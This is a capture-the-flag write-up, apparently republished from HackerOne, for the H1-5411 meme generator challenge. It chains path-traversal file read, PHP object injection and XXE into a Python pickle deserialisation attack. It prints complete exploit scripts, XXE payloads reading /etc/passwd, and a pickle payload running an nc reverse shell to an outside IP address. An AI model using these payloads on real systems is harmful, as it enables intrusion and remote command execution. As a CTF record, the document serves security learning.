Skip to content
RCE Disclosed report Advanced

H1-5411 CTF Writeup

The meme generator's template parameter allowed local file read, which was used to download source code. The source revealed a PHP object injection and XXE vulnerability that could be chained to execute arbitrary commands on an internal service, leading to a reverse shell and flag capture.

leetboi Follow

Originally disclosed on HackerOne

  • Triaged in 1 hour
  • Fixed in 10 days
  • Disclosed after 24 days

So, Hackerone posted a tweet about the Meme CTF Where barcode was in the tweet image by scanning it and decoding from hex I found this link : https://h1-5411.h1ctf.com/ where we can create/generate a memes and for generating the meme this was used form GitHub which i found in source code analysis https://github.com/trepmal/meme-gen.

Discovering Local File Read

There was a meme generator which generates the meme by from it's templates which was already present and it took 4 parameters:

  • template ( name of the template which is used to generate meme )
  • type ( Meme Type : image/text)
  • top-text
  • bottom-text
Screen_Shot_2018-09-29_at_4.29.03_AM.png
Screen_Shot_2018-09-29_at_4.29.03_AM.png From the original on HackerOne

The template parameter was vulnerable to local file read it take the file name available on the system and if present then it uses to create meme by adding the Top and Bottom Text.

Screen_Shot_2018-09-29_at_4.40.12_AM.png
Screen_Shot_2018-09-29_at_4.40.12_AM.png From the original on HackerOne
Screen_Shot_2018-09-29_at_4.40.21_AM.png
Screen_Shot_2018-09-29_at_4.40.21_AM.png

Analysing the source code

Since we have local file read we can download the source code of the application. by just changing the template parameter to 2 directory up ../../.

Screen_Shot_2018-09-29_at_4.46.28_AM.png
Screen_Shot_2018-09-29_at_4.46.28_AM.png From the original on HackerOne

In this way I have downloaded the source code of the application one by one and arranged it to according to the web application.

Screen_Shot_2018-09-29_at_4.49.32_AM.png
Screen_Shot_2018-09-29_at_4.49.32_AM.png From the original on HackerOne

Finding vulnerability in Import memes( /api/import_memes_2.0.php) : It was taking a file with serialised data with base64 encoded and then merging the files array in the session.

<?php
  require_once("../includes/config.php");

  if (isset($_FILES['f'])) {
    $new_memes = unserialize(base64_decode(file_get_contents($_FILES['f']['tmp_name'])));
    
    $_SESSION['memes'] = array_merge($_SESSION['memes'], $new_memes);
  }

  header("Location: /memes.php");
?>

Finding vulnerability in classes.php The libxml_disable_entity_loader(false); which disables the entity loader if the value is true. Since it was set to false so it allowed to load external entities.

class ConfigFile {

    function __construct($url) {
      $this->config_raw = file_get_contents($url);
    }

    function parse() {
      $dom = new DOMDocument();
      $dom->loadXML($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD);
      $o = simplexml_import_dom($dom);

      $this->top_text = $o->toptext;
      $this->bottom_text = $o->bottomtext;
      $this->template = $o->template;
      $this->type = $o->type;
    }

    function generate() {
      $this->parse();

      $meme_path = "https://giphy.com/embed/Vuw9m5wXviFIQ?try_harder";

      if ($this->type == IMAGE) {
        if (@is_array(getimagesize($this->path))) {
          $meme_path = MEMES_FOLDER . $filename . ".jpg";

          $args = array(
            "top_text"    => $top_text,
            "bottom_text" => $bottom_text,
            "filename"    => $meme_path,
            "font"        => FONT_BASE,
            "memebase"    => $this->path,
            "textsize"    => 40,
            "textfit"     => true,
            "padding"     => 10,
          );

          memegen_build_image($args);
        }
      }

      if ($this->type == TEXT) {
        if (!@is_array(getimagesize($this->path))) {
          $contents = file_get_contents($this->path);
          $meme = "  " . strtoupper($top_text) . "\n\n" . $contents . "\n  " . strtoupper($bottom_text);
          $meme_path = MEMES_FOLDER . $filename . ".txt";
          file_put_contents($meme_path, $meme);
        }
      }

      return $meme_path;
    }

    function __toString() {
      $this->parse();
      $debug = "";
      $debug .= "Debug Info :\n";
      $debug .= "TopText => {$this->top_text}\n";
      $debug .= "BottomText => {$this->bottom_text}\n";
      $debug .= "Template Location => {$this->template}\n";
      $debug .= "Template Type => {$this->type}\n";
      return $debug;
    }
  }

The parse() function was was parsing the xml entities with the desired elements(toptext, bottomtext, type, template). which makes it vulnerable to XXE. But till now we don't have any direct way to exploit XXE. The attack was intended to chain with each other. but to exploit the php object injection the magic method __toString() needs to be called because only __wakup() gets called when unserialize is used but here no wakeup method so. But I investigated the code and found a way where __toString() is called there is a loop is meme.php when the session is getting echoed there our uploaded file gets echoed too.

XML Payload :

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><root>
	<toptext>&xxe;</toptext>
	<bottomtext>xd</bottomtext>
	<template></template>
	<type>text</type>
</root>

Serialised payload (base64 Decoded):

O:10:"ConfigFile":1:{s:10:"config_raw";s:170:"<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><root>
	<toptext>&xxe;</toptext>
	<bottomtext>xd</bottomtext>
	<template></template>
	<type>text</type>
</root>";}

Exploit for generating the serialised data :

Exploit.php

<?php

class ConfigFile{
		public $config_raw = '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><root>
	<toptext>&xxe;</toptext>
	<bottomtext>xd</bottomtext>
	<template></template>
	<type>text</type>
</root>';
	}

	echo base64_encode(serialize([new ConfigFile]));
?>

Chaining XXE with PHP Object Injection and escalating:

So I have created an exploit which generates a serialised the data and encoded to base64.

Screen_Shot_2018-09-29_at_5.25.19_AM.png
Screen_Shot_2018-09-29_at_5.25.19_AM.png From the original on HackerOne
Screen_Shot_2018-09-29_at_5.25.11_AM.png
Screen_Shot_2018-09-29_at_5.25.11_AM.png

So, now we have a Preety good XXE and I was not able to escalate it further. So, I used the http wrapper in XXE to find local service and i found one on port 1337. and the description of the application was

Meme Service - Internal Maintenance API - v0.1 (Alpha); API Documentation: Version 0.1 - Endpoints: /status - View maintenance status; /update-status Change maintenance status; Debug: The debug parameter allows debugging

On status?debug=1 gives us the debug data/token base64 encoded in the response. decoding it to the base64 gives us the Python Pickle Data. Also update-status?status expects the parameter status for where I have generated a pickle code to generate a payload to get the reverse shell.

Exploit.py

#!/usr/bin/env python
#payload.py
import pickle
import socket
import os
class payload(object):
    def __reduce__(self):
       comm = "rm /tmp/shell; mknod /tmp/shell p; nc 104.248.230.193 8008 0</tmp/shell | /bin/sh 1>/tmp/shell"
       return (os.system, (comm,))
payload = pickle.dumps( payload())

print payload.encode("base64")
#!/usr/bin/env python
#payload.py
import pickle
import socket
import os
class payload(object):
    def __reduce__(self):
       comm = "rm /tmp/shell; mknod /tmp/shell p; nc 111.111.111.111 8008 0</tmp/shell | /bin/sh 1>/tmp/shell"
       return (os.system, (comm,))
payload = pickle.dumps( payload())

print payload.encode("base64")

Generating a serialised payload

<?php
class ConfigFile{
		public $config_raw = '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://localhost:1337/update-status?status=Y3Bvc2l4CnN5c3RlbQpwMAooUydybSAvdG1wL3NoZWxsOyBta25vZCAvdG1wL3NoZWxsIHA7IG5jIDEwNC4yNDguMjMwLjE5MyA4MDA4IDA8L3RtcC9zaGVsbCB8IC9iaW4vc2ggMT4vdG1wL3NoZWxsJwpwMQp0cDIKUnAzCi4="> ]><root>
	<toptext>&xxe;</toptext>
	<bottomtext>xd</bottomtext>
	<template></template>
	<type>text</type>
</root>';
	}

	echo base64_encode(serialize([new ConfigFile]));
?>

Reverse Connection and flag

  • Use the base64 encoded payload of pickle and then use it to create a serialised data.
Screen_Shot_2018-09-29_at_6.03.01_AM.png
Screen_Shot_2018-09-29_at_6.03.01_AM.png From the original on HackerOne
Screen_Shot_2018-09-29_at_6.05.08_AM.png
Screen_Shot_2018-09-29_at_6.05.08_AM.png

Flag : flag{cha1n1ng_bugs_f0r_fun_4nd_pr0f1t?_or_rep0rt_an_LF1}

Thanks Ahmed!

Impact

not required.

The original report as published on HackerOne, by leetboi. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could read arbitrary files, execute commands on an internal service and gain a reverse shell.

What the attacker needed

Access to the meme generator; ability to upload files; internal service on localhost:1337

The fix

Validate the template parameter against path traversal, avoid unserialising user data, and disable external entities in XML parsing.

How it was found

  1. Scan the barcode in the tweet image and decode from hex to find the CTF link.
  2. Use the template parameter with directory traversal to read application source files.
  3. Identify the import endpoint that unserialises base64-encoded data and the ConfigFile class that parses XML with external entities enabled.
  4. Craft a serialised ConfigFile object containing an XXE payload and upload it via the import endpoint.
  5. Use the XXE to make requests to localhost:1337, discover the debug parameter, and obtain a base64-encoded pickle token.
  6. Generate a pickle payload that executes a reverse shell command and send it to the update-status endpoint via XXE, then catch the shell and read the flag.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web app let users pick a template file by name, but it didn't check the name, so attackers could read any file on the server. By reading the app's own code, they found a way to make the server run commands, which they used to get a shell and find a hidden flag.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by leetboi

View all

1 more disclosed report, best first.

More from h1-5411-CTF

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.